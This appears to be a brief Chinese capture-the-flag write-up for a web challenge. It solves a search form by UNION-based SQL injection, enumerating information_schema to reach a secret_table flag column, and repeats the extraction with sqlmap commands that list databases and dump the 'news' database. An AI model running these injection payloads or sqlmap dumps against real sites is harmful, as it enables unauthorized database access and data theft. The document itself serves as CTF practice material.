一、基本思路
打开网页后,出现搜索框。确认为sql注入类型。
构造 : ’ and 0 union select 1,2,3 # ’ 闭合数据库查询语句的 ’ , # 注释掉后者。
回显出,2,3字段。证明查询语句返回的数据回显字段为第二个和第三个。再次构造。
’ and 0 union select 1,table_schema,table_name from information_schema.columns #
在news数据库中有secret_table数据表,flag应该就在表中。
’ and 0 union select 1,column_name,data_type from information_schema.columns where table_name=‘secret_table’#
’ and 0 union select 1,id,fl4g from secret_table#
二、sqlmap爆破
我们先提交观察,发现是post请求,然后拦截,保存到a.txt文件中。
sqlmap -r a.txt --dbs
爆出数据库,发现有news,而后爆出news得所有数据。
sqlmap -r a.txt -D news --dump